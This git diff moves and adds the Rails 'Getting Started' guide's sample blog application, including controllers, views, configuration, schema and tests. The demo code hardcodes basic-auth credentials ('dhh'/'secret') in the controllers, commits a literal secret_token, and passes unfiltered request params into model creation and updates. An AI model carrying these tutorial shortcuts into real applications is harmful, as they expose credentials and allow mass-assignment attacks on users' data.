+class CommentsController < ApplicationController
+	http_basic_authenticate_with :name => "dhh", :password => "secret", :only => :destroy
+
+  def create
+    @post = Post.find(params[:post_id])
+    @comment = @post.comments.create(params[:comment])
+    redirect_to post_path(@post)
+  end
+
+  def destroy
+    @post = Post.find(params[:post_id])
+    @comment = @post.comments.find(params[:id])
+    @comment.destroy
+    redirect_to post_path(@post)
+  end
+
+end
diff --git a/guides/code/getting_started/app/controllers/posts_controller.rb b/guides/code/getting_started/app/controllers/posts_controller.rb
new file mode 100644
index 0000000000..a8ac9aba5a
--- /dev/null
+++ b/guides/code/getting_started/app/controllers/posts_controller.rb
@@ -0,0 +1,47 @@
+class PostsController < ApplicationController
+
+  http_basic_authenticate_with :name => "dhh", :password => "secret", :except => [:index, :show]
+
+  def index
+    @posts = Post.all
+  end
+
+  def show
+    @post = Post.find(params[:id])
+  end
+
+  def new
+    @post = Post.new
+  end
+
+  def create
+    @post = Post.new(params[:post])
+
+    if @post.save
+      redirect_to :action => :show, :id => @post.id
+    else
+      render 'new'
+    end
+  end
+
+  def edit
+    @post = Post.find(params[:id])
+  end
+
+  def update
+    @post = Post.find(params[:id])
+
+    if @post.update_attributes(params[:post])
+      redirect_to :action => :show, :id => @post.id
+    else
+      render 'edit'
+    end
+  end
+
+  def destroy
+    @post = Post.find(params[:id])
+    @post.destroy
+
+    redirect_to :action => :index
+  end
+end
diff --git a/guides/code/getting_started/app/controllers/welcome_controller.rb b/guides/code/getting_started/app/controllers/welcome_controller.rb
new file mode 100644
index 0000000000..f9b859b9c9
--- /dev/null
+++ b/guides/code/getting_started/app/controllers/welcome_controller.rb
@@ -0,0 +1,4 @@
+class WelcomeController < ApplicationController
+  def index
+  end
+end
diff --git a/railties/guides/code/getting_started/app/helpers/application_helper.rb b/guides/code/getting_started/app/helpers/application_helper.rb
index de6be7945c..de6be7945c 100644
--- a/railties/guides/code/getting_started/app/helpers/application_helper.rb
+++ b/guides/code/getting_started/app/helpers/application_helper.rb
diff --git a/railties/guides/code/getting_started/app/helpers/comments_helper.rb b/guides/code/getting_started/app/helpers/comments_helper.rb
index 0ec9ca5f2d..0ec9ca5f2d 100644
--- a/railties/guides/code/getting_started/app/helpers/comments_helper.rb
+++ b/guides/code/getting_started/app/helpers/comments_helper.rb
diff --git a/guides/code/getting_started/app/helpers/posts_helper.rb b/guides/code/getting_started/app/helpers/posts_helper.rb
new file mode 100644
index 0000000000..a7b8cec898
--- /dev/null
+++ b/guides/code/getting_started/app/helpers/posts_helper.rb
@@ -0,0 +1,2 @@
+module PostsHelper
+end
diff --git a/guides/code/getting_started/app/helpers/welcome_helper.rb b/guides/code/getting_started/app/helpers/welcome_helper.rb
new file mode 100644
index 0000000000..eeead45fc9
--- /dev/null
+++ b/guides/code/getting_started/app/helpers/welcome_helper.rb
@@ -0,0 +1,2 @@
+module WelcomeHelper
+end
diff --git a/railties/guides/code/getting_started/lib/tasks/.gitkeep b/guides/code/getting_started/app/mailers/.gitkeep
index e69de29bb2..e69de29bb2 100644
--- a/railties/guides/code/getting_started/lib/tasks/.gitkeep
+++ b/guides/code/getting_started/app/mailers/.gitkeep
diff --git a/railties/guides/code/getting_started/test/fixtures/.gitkeep b/guides/code/getting_started/app/models/.gitkeep
index e69de29bb2..e69de29bb2 100644
--- a/railties/guides/code/getting_started/test/fixtures/.gitkeep
+++ b/guides/code/getting_started/app/models/.gitkeep
diff --git a/railties/guides/code/getting_started/app/models/comment.rb b/guides/code/getting_started/app/models/comment.rb
index 4e76c5b5b0..4e76c5b5b0 100644
--- a/railties/guides/code/getting_started/app/models/comment.rb
+++ b/guides/code/getting_started/app/models/comment.rb
diff --git a/guides/code/getting_started/app/models/post.rb b/guides/code/getting_started/app/models/post.rb
new file mode 100644
index 0000000000..21387340b0
--- /dev/null
+++ b/guides/code/getting_started/app/models/post.rb
@@ -0,0 +1,6 @@
+class Post < ActiveRecord::Base
+  validates :title, :presence => true,
+                    :length => { :minimum => 5 }
+
+  has_many :comments, :dependent => :destroy
+end
diff --git a/guides/code/getting_started/app/views/comments/_comment.html.erb b/guides/code/getting_started/app/views/comments/_comment.html.erb
new file mode 100644
index 0000000000..3d2bc1590e
--- /dev/null
+++ b/guides/code/getting_started/app/views/comments/_comment.html.erb
@@ -0,0 +1,15 @@
+<p>
+  <strong>Commenter:</strong>
+  <%= comment.commenter %>
+</p>
+
+<p>
+  <strong>Comment:</strong>
+  <%= comment.body %>
+</p>
+
+<p>
+  <%= link_to 'Destroy Comment', [comment.post, comment],
+               :method => :delete,
+               :data => { :confirm => 'Are you sure?' } %>
+</p>
diff --git a/guides/code/getting_started/app/views/comments/_form.html.erb b/guides/code/getting_started/app/views/comments/_form.html.erb
new file mode 100644
index 0000000000..00cb3a08f0
--- /dev/null
+++ b/guides/code/getting_started/app/views/comments/_form.html.erb
@@ -0,0 +1,13 @@
+<%= form_for([@post, @post.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br />
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br />
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
diff --git a/guides/code/getting_started/app/views/layouts/application.html.erb b/guides/code/getting_started/app/views/layouts/application.html.erb
new file mode 100644
index 0000000000..6578a41da2
--- /dev/null
+++ b/guides/code/getting_started/app/views/layouts/application.html.erb
@@ -0,0 +1,14 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <title>Blog</title>
+  <%= stylesheet_link_tag    "application", :media => "all" %>
+  <%= javascript_include_tag "application" %>
+  <%= csrf_meta_tags %>
+</head>
+<body>
+
+<%= yield %>
+
+</body>
+</html>
diff --git a/guides/code/getting_started/app/views/posts/_form.html.erb b/guides/code/getting_started/app/views/posts/_form.html.erb
new file mode 100644
index 0000000000..f22139938c
--- /dev/null
+++ b/guides/code/getting_started/app/views/posts/_form.html.erb
@@ -0,0 +1,25 @@
+<%= form_for @post do |f| %>
+  <% if @post.errors.any? %>
+    <div id="errorExplanation">
+      <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2>
+      <ul>
+        <% @post.errors.full_messages.each do |msg| %>
+          <li><%= msg %></li>
+        <% end %>
+      </ul>
+    </div>
+  <% end %>
+  <p>
+    <%= f.label :title %><br />
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br />
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
diff --git a/guides/code/getting_started/app/views/posts/edit.html.erb b/guides/code/getting_started/app/views/posts/edit.html.erb
new file mode 100644
index 0000000000..911a48569d
--- /dev/null
+++ b/guides/code/getting_started/app/views/posts/edit.html.erb
@@ -0,0 +1,5 @@
+<h1>Editing post</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Back', :action => :index %>
diff --git a/guides/code/getting_started/app/views/posts/index.html.erb b/guides/code/getting_started/app/views/posts/index.html.erb
new file mode 100644
index 0000000000..9a0e90eadc
--- /dev/null
+++ b/guides/code/getting_started/app/views/posts/index.html.erb
@@ -0,0 +1,23 @@
+<h1>Listing posts</h1>
+
+<%= link_to 'New post', :action => :new %>
+
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Text</th>
+    <th></th>
+    <th></th>
+    <th></th>
+  </tr>
+
+<% @posts.each do |post| %>
+  <tr>
+    <td><%= post.title %></td>
+    <td><%= post.text %></td>
+    <td><%= link_to 'Show', :action => :show, :id => post.id %>
+    <td><%= link_to 'Edit', :action => :edit, :id => post.id %>
+    <td><%= link_to 'Destroy', { :action => :destroy, :id => post.id }, :method => :delete, :data => { :confirm => 'Are you sure?' } %>
+  </tr>
+<% end %>
+</table>
diff --git a/guides/code/getting_started/app/views/posts/new.html.erb b/guides/code/getting_started/app/views/posts/new.html.erb
new file mode 100644
index 0000000000..ce9523a721
--- /dev/null
+++ b/guides/code/getting_started/app/views/posts/new.html.erb
@@ -0,0 +1,5 @@
+<h1>New post</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Back', :action => :index %>
diff --git a/guides/code/getting_started/app/views/posts/show.html.erb b/guides/code/getting_started/app/views/posts/show.html.erb
new file mode 100644
index 0000000000..65809033ed
--- /dev/null
+++ b/guides/code/getting_started/app/views/posts/show.html.erb
@@ -0,0 +1,18 @@
+<p>
+  <strong>Title:</strong>
+  <%= @post.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @post.text %>
+</p>
+
+<h2>Comments</h2>
+<%= render @post.comments %>
+
+<h2>Add a comment:</h2>
+<%= render "comments/form" %>
+
+<%= link_to 'Edit Post', edit_post_path(@post) %> |
+<%= link_to 'Back to Posts', posts_path %>
diff --git a/guides/code/getting_started/app/views/welcome/index.html.erb b/guides/code/getting_started/app/views/welcome/index.html.erb
new file mode 100644
index 0000000000..e04680ea7e
--- /dev/null
+++ b/guides/code/getting_started/app/views/welcome/index.html.erb
@@ -0,0 +1,2 @@
+<h1>Hello, Rails!</h1>
+<%= link_to "My Blog", :controller => "posts" %>
diff --git a/railties/guides/code/getting_started/config.ru b/guides/code/getting_started/config.ru
index ddf869e921..ddf869e921 100644
--- a/railties/guides/code/getting_started/config.ru
+++ b/guides/code/getting_started/config.ru
diff --git a/guides/code/getting_started/config/application.rb b/guides/code/getting_started/config/application.rb
new file mode 100644
index 0000000000..d2cd5c028b
--- /dev/null
+++ b/guides/code/getting_started/config/application.rb
@@ -0,0 +1,55 @@
+require File.expand_path('../boot', __FILE__)
+
+require 'rails/all'
+
+if defined?(Bundler)
+  # If you precompile assets before deploying to production, use this line
+  Bundler.require(*Rails.groups(:assets => %w(development test)))
+  # If you want your assets lazily compiled in production, use this line
+  # Bundler.require(:default, :assets, Rails.env)
+end
+
+module Blog
+  class Application < Rails::Application
+    # Settings in config/environments/* take precedence over those specified here.
+    # Application configuration should go into files in config/initializers
+    # -- all .rb files in that directory are automatically loaded.
+
+    # Custom directories with classes and modules you want to be autoloadable.
+    # config.autoload_paths += %W(#{config.root}/extras)
+
+    # Activate observers that should always be running.
+    # config.active_record.observers = :cacher, :garbage_collector, :forum_observer
+
+    # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
+    # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
+    # config.time_zone = 'Central Time (US & Canada)'
+
+    # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
+    # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
+    # config.i18n.default_locale = :de
+
+    # Configure the default encoding used in templates for Ruby 1.9.
+    config.encoding = "utf-8"
+
+    # Configure sensitive parameters which will be filtered from the log file.
+    config.filter_parameters += [:password]
+
+    # Use SQL instead of Active Record's schema dumper when creating the database.
+    # This is necessary if your schema can't be completely dumped by the schema dumper,
+    # like if you have constraints or database-specific column types.
+    # config.active_record.schema_format = :sql
+
+    # Enforce whitelist mode for mass assignment.
+    # This will create an empty whitelist of attributes available for mass-assignment for all models
+    # in your app. As such, your models will need to explicitly whitelist or blacklist accessible
+    # parameters by using an attr_accessible or attr_protected declaration.
+    # config.active_record.whitelist_attributes = true
+
+    # Enable the asset pipeline.
+    config.assets.enabled = true
+
+    # Version of your assets, change this if you want to expire all your assets.
+    config.assets.version = '1.0'
+  end
+end
diff --git a/guides/code/getting_started/config/boot.rb b/guides/code/getting_started/config/boot.rb
new file mode 100644
index 0000000000..3596736667
--- /dev/null
+++ b/guides/code/getting_started/config/boot.rb
@@ -0,0 +1,4 @@
+# Set up gems listed in the Gemfile.
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
+
+require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
diff --git a/railties/guides/code/getting_started/config/database.yml b/guides/code/getting_started/config/database.yml
index 51a4dd459d..51a4dd459d 100644
--- a/railties/guides/code/getting_started/config/database.yml
+++ b/guides/code/getting_started/config/database.yml
diff --git a/railties/guides/code/getting_started/config/environment.rb b/guides/code/getting_started/config/environment.rb
index 8f728b7ce7..8f728b7ce7 100644
--- a/railties/guides/code/getting_started/config/environment.rb
+++ b/guides/code/getting_started/config/environment.rb
diff --git a/guides/code/getting_started/config/environments/development.rb b/guides/code/getting_started/config/environments/development.rb
new file mode 100644
index 0000000000..cec2b20c0b
--- /dev/null
+++ b/guides/code/getting_started/config/environments/development.rb
@@ -0,0 +1,34 @@
+Blog::Application.configure do
+  # Settings specified here will take precedence over those in config/application.rb.
+
+  # In the development environment your application's code is reloaded on
+  # every request.  This slows down response time but is perfect for development
+  # since you don't have to restart the web server when you make code changes.
+  config.cache_classes = false
+
+  # Show full error reports and disable caching.
+  config.consider_all_requests_local       = true
+  config.action_controller.perform_caching = false
+
+  # Don't care if the mailer can't send.
+  config.action_mailer.raise_delivery_errors = false
+
+  # Print deprecation notices to the Rails logger.
+  config.active_support.deprecation = :log
+
+  # Only use best-standards-support built into browsers.
+  config.action_dispatch.best_standards_support = :builtin
+
+  # Raise exception on mass assignment protection for ActiveRecord models.
+  config.active_record.mass_assignment_sanitizer = :strict
+
+  # Log the query plan for queries taking more than this (works
+  # with SQLite, MySQL, and PostgreSQL).
+  config.active_record.auto_explain_threshold_in_seconds = 0.5
+
+  # Do not compress assets.
+  config.assets.compress = false
+
+  # Expands the lines which load the assets.
+  config.assets.debug = true
+end
diff --git a/guides/code/getting_started/config/environments/production.rb b/guides/code/getting_started/config/environments/production.rb
new file mode 100644
index 0000000000..ecc35b030b
--- /dev/null
+++ b/guides/code/getting_started/config/environments/production.rb
@@ -0,0 +1,67 @@
+Blog::Application.configure do
+  # Settings specified here will take precedence over those in config/application.rb.
+
+  # Code is not reloaded between requests.
+  config.cache_classes = true
+
+  # Full error reports are disabled and caching is turned on.
+  config.consider_all_requests_local       = false
+  config.action_controller.perform_caching = true
+
+  # Disable Rails's static asset server (Apache or nginx will already do this).
+  config.serve_static_assets = false
+
+  # Compress JavaScripts and CSS.
+  config.assets.compress = true
+
+  # Don't fallback to assets pipeline if a precompiled asset is missed.
+  config.assets.compile = false
+
+  # Generate digests for assets URLs.
+  config.assets.digest = true
+
+  # Defaults to nil
+  # config.assets.manifest = YOUR_PATH
+
+  # Specifies the header that your server uses for sending files.
+  # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
+  # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
+
+  # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+  # config.force_ssl = true
+
+  # See everything in the log (default is :info).
+  # config.log_level = :debug
+
+  # Prepend all log lines with the following tags.
+  # config.log_tags = [ :subdomain, :uuid ]
+
+  # Use a different logger for distributed setups.
+  # config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new)
+
+  # Use a different cache store in production.
+  # config.cache_store = :mem_cache_store
+
+  # Enable serving of images, stylesheets, and JavaScripts from an asset server.
+  # config.action_controller.asset_host = "http://assets.example.com"
+
+  # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added).
+  # config.assets.precompile += %w( search.js )
+
+  # Disable delivery errors, bad email addresses will be ignored.
+  # config.action_mailer.raise_delivery_errors = false
+
+  # Enable threaded mode.
+  # config.threadsafe!
+
+  # Enable locale fallbacks for I18n (makes lookups for any locale fall back to
+  # the I18n.default_locale when a translation can not be found).
+  config.i18n.fallbacks = true
+
+  # Send deprecation notices to registered listeners.
+  config.active_support.deprecation = :notify
+
+  # Log the query plan for queries taking more than this (works
+  # with SQLite, MySQL, and PostgreSQL).
+  # config.active_record.auto_explain_threshold_in_seconds = 0.5
+end
diff --git a/guides/code/getting_started/config/environments/test.rb b/guides/code/getting_started/config/environments/test.rb
new file mode 100644
index 0000000000..f2bc932fb3
--- /dev/null
+++ b/guides/code/getting_started/config/environments/test.rb
@@ -0,0 +1,34 @@
+Blog::Application.configure do
+  # Settings specified here will take precedence over those in config/application.rb.
+
+  # The test environment is used exclusively to run your application's
+  # test suite.  You never need to work with it otherwise.  Remember that
+  # your test database is "scratch space" for the test suite and is wiped
+  # and recreated between test runs.  Don't rely on the data there!
+  config.cache_classes = true
+
+  # Configure static asset server for tests with Cache-Control for performance.
+  config.serve_static_assets = true
+  config.static_cache_control = "public, max-age=3600"
+
+  # Show full error reports and disable caching.
+  config.consider_all_requests_local       = true
+  config.action_controller.perform_caching = false
+
+  # Raise exceptions instead of rendering exception templates.
+  config.action_dispatch.show_exceptions = false
+
+  # Disable request forgery protection in test environment.
+  config.action_controller.allow_forgery_protection = false
+
+  # Tell Action Mailer not to deliver emails to the real world.
+  # The :test delivery method accumulates sent emails in the
+  # ActionMailer::Base.deliveries array.
+  config.action_mailer.delivery_method = :test
+
+  # Raise exception on mass assignment protection for Active Record models.
+  config.active_record.mass_assignment_sanitizer = :strict
+
+  # Print deprecation notices to the stderr.
+  config.active_support.deprecation = :stderr
+end
diff --git a/railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb b/guides/code/getting_started/config/initializers/backtrace_silencers.rb
index 59385cdf37..59385cdf37 100644
--- a/railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb
+++ b/guides/code/getting_started/config/initializers/backtrace_silencers.rb
diff --git a/guides/code/getting_started/config/initializers/inflections.rb b/guides/code/getting_started/config/initializers/inflections.rb
new file mode 100644
index 0000000000..5d8d9be237
--- /dev/null
+++ b/guides/code/getting_started/config/initializers/inflections.rb
@@ -0,0 +1,15 @@
+# Be sure to restart your server when you modify this file.
+
+# Add new inflection rules using the following format
+# (all these examples are active by default):
+# ActiveSupport::Inflector.inflections do |inflect|
+#   inflect.plural /^(ox)$/i, '\1en'
+#   inflect.singular /^(ox)en/i, '\1'
+#   inflect.irregular 'person', 'people'
+#   inflect.uncountable %w( fish sheep )
+# end
+#
+# These inflection rules are supported but not enabled by default:
+# ActiveSupport::Inflector.inflections do |inflect|
+#   inflect.acronym 'RESTful'
+# end
diff --git a/railties/guides/code/getting_started/config/initializers/mime_types.rb b/guides/code/getting_started/config/initializers/mime_types.rb
index 72aca7e441..72aca7e441 100644
--- a/railties/guides/code/getting_started/config/initializers/mime_types.rb
+++ b/guides/code/getting_started/config/initializers/mime_types.rb
diff --git a/guides/code/getting_started/config/initializers/secret_token.rb b/guides/code/getting_started/config/initializers/secret_token.rb
new file mode 100644
index 0000000000..f36ebdda18
--- /dev/null
+++ b/guides/code/getting_started/config/initializers/secret_token.rb
@@ -0,0 +1,9 @@
+# Be sure to restart your server when you modify this file.
+
+# Your secret key for verifying the integrity of signed cookies.
+# If you change this key, all old signed cookies will become invalid!
+# Make sure the secret is at least 30 characters and all random,
+# no regular words or you'll be exposed to dictionary attacks.
+# Make sure your secret key is kept private
+# if you're sharing your code publicly.
+Blog::Application.config.secret_token = '685a9bf865b728c6549a191c90851c1b5ec41ecb60b9e94ad79dd3f824749798aa7b5e94431901960bee57809db0947b481570f7f13376b7ca190fa28099c459'
diff --git a/railties/guides/code/getting_started/config/initializers/session_store.rb b/guides/code/getting_started/config/initializers/session_store.rb
index 1a67af58b5..1a67af58b5 100644
--- a/railties/guides/code/getting_started/config/initializers/session_store.rb
+++ b/guides/code/getting_started/config/initializers/session_store.rb
diff --git a/railties/guides/code/getting_started/config/initializers/wrap_parameters.rb b/guides/code/getting_started/config/initializers/wrap_parameters.rb
index 999df20181..999df20181 100644
--- a/railties/guides/code/getting_started/config/initializers/wrap_parameters.rb
+++ b/guides/code/getting_started/config/initializers/wrap_parameters.rb
diff --git a/railties/guides/code/getting_started/config/locales/en.yml b/guides/code/getting_started/config/locales/en.yml
index 179c14ca52..179c14ca52 100644
--- a/railties/guides/code/getting_started/config/locales/en.yml
+++ b/guides/code/getting_started/config/locales/en.yml
diff --git a/guides/code/getting_started/config/routes.rb b/guides/code/getting_started/config/routes.rb
new file mode 100644
index 0000000000..04a6bd374e
--- /dev/null
+++ b/guides/code/getting_started/config/routes.rb
@@ -0,0 +1,63 @@
+Blog::Application.routes.draw do
+
+  resources :posts do
+    resources :comments
+  end
+
+  # The priority is based upon order of creation:
+  # first created -> highest priority.
+
+  # Sample of regular route:
+  #   match 'products/:id' => 'catalog#view'
+  # Keep in mind you can assign values other than :controller and :action
+
+  # Sample of named route:
+  #   match 'products/:id/purchase' => 'catalog#purchase', :as => :purchase
+  # This route can be invoked with purchase_url(:id => product.id)
+
+  # Sample resource route (maps HTTP verbs to controller actions automatically):
+  #   resources :products
+
+  # Sample resource route with options:
+  #   resources :products do
+  #     member do
+  #       get 'short'
+  #       post 'toggle'
+  #     end
+  #
+  #     collection do
+  #       get 'sold'
+  #     end
+  #   end
+
+  # Sample resource route with sub-resources:
+  #   resources :products do
+  #     resources :comments, :sales
+  #     resource :seller
+  #   end
+
+  # Sample resource route with more complex sub-resources
+  #   resources :products do
+  #     resources :comments
+  #     resources :sales do
+  #       get 'recent', :on => :collection
+  #     end
+  #   end
+
+  # Sample resource route within a namespace:
+  #   namespace :admin do
+  #     # Directs /admin/products/* to Admin::ProductsController
+  #     # (app/controllers/admin/products_controller.rb)
+  #     resources :products
+  #   end
+
+  # You can have the root of your site routed with "root"
+  # just remember to delete public/index.html.
+  root :to => "welcome#index"
+
+  # See how all your routes lay out with "rake routes"
+
+  # This is a legacy wild controller route that's not recommended for RESTful applications.
+  # Note: This route will make all actions in every controller accessible via GET requests.
+  # match ':controller(/:action(/:id))(.:format)'
+end
diff --git a/railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb b/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb
index adda8078c1..adda8078c1 100644
--- a/railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb
+++ b/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb
diff --git a/guides/code/getting_started/db/migrate/20120420083127_create_posts.rb b/guides/code/getting_started/db/migrate/20120420083127_create_posts.rb
new file mode 100644
index 0000000000..602bef31ab
--- /dev/null
+++ b/guides/code/getting_started/db/migrate/20120420083127_create_posts.rb
@@ -0,0 +1,10 @@
+class CreatePosts < ActiveRecord::Migration
+  def change
+    create_table :posts do |t|
+      t.string :title
+      t.text :text
+
+      t.timestamps
+    end
+  end
+end
diff --git a/guides/code/getting_started/db/schema.rb b/guides/code/getting_started/db/schema.rb
new file mode 100644
index 0000000000..cfb56ca9b9
--- /dev/null
+++ b/guides/code/getting_started/db/schema.rb
@@ -0,0 +1,42 @@
+# encoding: UTF-8
+# This file is auto-generated from the current state of the database. Instead
+# of editing this file, please use the migrations feature of Active Record to
+# incrementally modify your database, and then regenerate this schema definition.
+#
+# Note that this schema.rb definition is the authoritative source for your
+# database schema. If you need to create the application database on another
+# system, you should be using db:schema:load, not running all the migrations
+# from scratch. The latter is a flawed and unsustainable approach (the more migrations
+# you'll amass, the slower it'll run and the greater likelihood for issues).
+#
+# It's strongly recommended to check this file into your version control system.
+
+ActiveRecord::Schema.define(:version => 20120420083127) do
+
+  create_table "comments", :force => true do |t|
+    t.string   "commenter"
+    t.text     "body"
+    t.integer  "post_id"
+    t.datetime "created_at", :null => false
+    t.datetime "updated_at", :null => false
+  end
+
+  add_index "comments", ["post_id"], :name => "index_comments_on_post_id"
+
+  create_table "posts", :force => true do |t|
+    t.string   "title"
+    t.text     "text"
+    t.datetime "created_at", :null => false
+    t.datetime "updated_at", :null => false
+  end
+
+  create_table "tags", :force => true do |t|
+    t.string   "name"
+    t.integer  "post_id"
+    t.datetime "created_at", :null => false
+    t.datetime "updated_at", :null => false
+  end
+
+  add_index "tags", ["post_id"], :name => "index_tags_on_post_id"
+
+end
diff --git a/railties/guides/code/getting_started/db/seeds.rb b/guides/code/getting_started/db/seeds.rb
index 4edb1e857e..4edb1e857e 100644
--- a/railties/guides/code/getting_started/db/seeds.rb
+++ b/guides/code/getting_started/db/seeds.rb
diff --git a/railties/guides/code/getting_started/doc/README_FOR_APP b/guides/code/getting_started/doc/README_FOR_APP
index fe41f5cc24..fe41f5cc24 100644
--- a/railties/guides/code/getting_started/doc/README_FOR_APP
+++ b/guides/code/getting_started/doc/README_FOR_APP
diff --git a/railties/guides/code/getting_started/test/functional/.gitkeep b/guides/code/getting_started/lib/assets/.gitkeep
index e69de29bb2..e69de29bb2 100644
--- a/railties/guides/code/getting_started/test/functional/.gitkeep
+++ b/guides/code/getting_started/lib/assets/.gitkeep
diff --git a/railties/guides/code/getting_started/test/integration/.gitkeep b/guides/code/getting_started/lib/tasks/.gitkeep
index e69de29bb2..e69de29bb2 100644
--- a/railties/guides/code/getting_started/test/integration/.gitkeep
+++ b/guides/code/getting_started/lib/tasks/.gitkeep
diff --git a/railties/guides/code/getting_started/public/404.html b/guides/code/getting_started/public/404.html
index 9a48320a5f..9a48320a5f 100644
--- a/railties/guides/code/getting_started/public/404.html
+++ b/guides/code/getting_started/public/404.html
diff --git a/railties/guides/code/getting_started/public/422.html b/guides/code/getting_started/public/422.html
index 83660ab187..83660ab187 100644
--- a/railties/guides/code/getting_started/public/422.html
+++ b/guides/code/getting_started/public/422.html
diff --git a/guides/code/getting_started/public/500.html b/guides/code/getting_started/public/500.html
new file mode 100644
index 0000000000..f3648a0dbc
--- /dev/null
+++ b/guides/code/getting_started/public/500.html
@@ -0,0 +1,25 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <title>We're sorry, but something went wrong (500)</title>
+  <style type="text/css">
+    body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
+    div.dialog {
+      width: 25em;
+      padding: 0 4em;
+      margin: 4em auto 0 auto;
+      border: 1px solid #ccc;
+      border-right-color: #999;
+      border-bottom-color: #999;
+    }
+    h1 { font-size: 100%; color: #f00; line-height: 1.5em; }
+  </style>
+</head>
+
+<body>
+  <!-- This file lives in public/500.html -->
+  <div class="dialog">
+    <h1>We're sorry, but something went wrong.</h1>
+  </div>
+</body>
+</html>
diff --git a/railties/guides/code/getting_started/public/favicon.ico b/guides/code/getting_started/public/favicon.ico
index e69de29bb2..e69de29bb2 100644
--- a/railties/guides/code/getting_started/public/favicon.ico
+++ b/guides/code/getting_started/public/favicon.ico
diff --git a/guides/code/getting_started/public/robots.txt b/guides/code/getting_started/public/robots.txt
new file mode 100644
index 0000000000..1a3a5e4dd2
--- /dev/null
+++ b/guides/code/getting_started/public/robots.txt
@@ -0,0 +1,5 @@
+# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
+#
+# To ban all spiders from the entire site uncomment the next two lines:
+# User-agent: *
+# Disallow: /
diff --git a/railties/guides/code/getting_started/script/rails b/guides/code/getting_started/script/rails
index f8da2cffd4..f8da2cffd4 100755
--- a/railties/guides/code/getting_started/script/rails
+++ b/guides/code/getting_started/script/rails
diff --git a/railties/guides/code/getting_started/test/unit/.gitkeep b/guides/code/getting_started/test/fixtures/.gitkeep
index e69de29bb2..e69de29bb2 100644
--- a/railties/guides/code/getting_started/test/unit/.gitkeep
+++ b/guides/code/getting_started/test/fixtures/.gitkeep
diff --git a/railties/guides/code/getting_started/test/fixtures/comments.yml b/guides/code/getting_started/test/fixtures/comments.yml
index d33da386bf..d33da386bf 100644
--- a/railties/guides/code/getting_started/test/fixtures/comments.yml
+++ b/guides/code/getting_started/test/fixtures/comments.yml
diff --git a/guides/code/getting_started/test/fixtures/posts.yml b/guides/code/getting_started/test/fixtures/posts.yml
new file mode 100644
index 0000000000..e1edfd385e
--- /dev/null
+++ b/guides/code/getting_started/test/fixtures/posts.yml
@@ -0,0 +1,9 @@
+# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html
+
+one:
+  title: MyString
+  text: MyText
+
+two:
+  title: MyString
+  text: MyText
diff --git a/railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep b/guides/code/getting_started/test/functional/.gitkeep
index e69de29bb2..e69de29bb2 100644
--- a/railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep
+++ b/guides/code/getting_started/test/functional/.gitkeep
diff --git a/railties/guides/code/getting_started/test/functional/comments_controller_test.rb b/guides/code/getting_started/test/functional/comments_controller_test.rb
index 2ec71b4ec5..2ec71b4ec5 100644
--- a/railties/guides/code/getting_started/test/functional/comments_controller_test.rb
+++ b/guides/code/getting_started/test/functional/comments_controller_test.rb
diff --git a/railties/guides/code/getting_started/test/functional/posts_controller_test.rb b/guides/code/getting_started/test/functional/posts_controller_test.rb
index b8f7b07820..b8f7b07820 100644
--- a/railties/guides/code/getting_started/test/functional/posts_controller_test.rb
+++ b/guides/code/getting_started/test/functional/posts_controller_test.rb
diff --git a/guides/code/getting_started/test/functional/welcome_controller_test.rb b/guides/code/getting_started/test/functional/welcome_controller_test.rb
new file mode 100644
index 0000000000..e4d5abae11
--- /dev/null
+++ b/guides/code/getting_started/test/functional/welcome_controller_test.rb
@@ -0,0 +1,8 @@
+require 'test_helper'
+
+class WelcomeControllerTest < ActionController::TestCase
+  test "should get index" do
+    get :index
+    assert_response :success
+  end
+end
diff --git a/railties/guides/code/getting_started/vendor/plugins/.gitkeep b/guides/code/getting_started/test/integration/.gitkeep
index e69de29bb2..e69de29bb2 100644
--- a/railties/guides/code/getting_started/vendor/plugins/.gitkeep
+++ b/guides/code/getting_started/test/integration/.gitkeep
diff --git a/guides/code/getting_started/test/performance/browsing_test.rb b/guides/code/getting_started/test/performance/browsing_test.rb
new file mode 100644
index 0000000000..2a849b7f2b
--- /dev/null
+++ b/guides/code/getting_started/test/performance/browsing_test.rb
@@ -0,0 +1,12 @@
+require 'test_helper'
+require 'rails/performance_test_help'
+
+class BrowsingTest < ActionDispatch::PerformanceTest
+  # Refer to the documentation for all available options
+  # self.profile_options = { :runs => 5, :metrics => [:wall_time, :memory],
+  #                          :output => 'tmp/performance', :formats => [:flat] }
+
+  def test_homepage
+    get '/'
+  end
+end
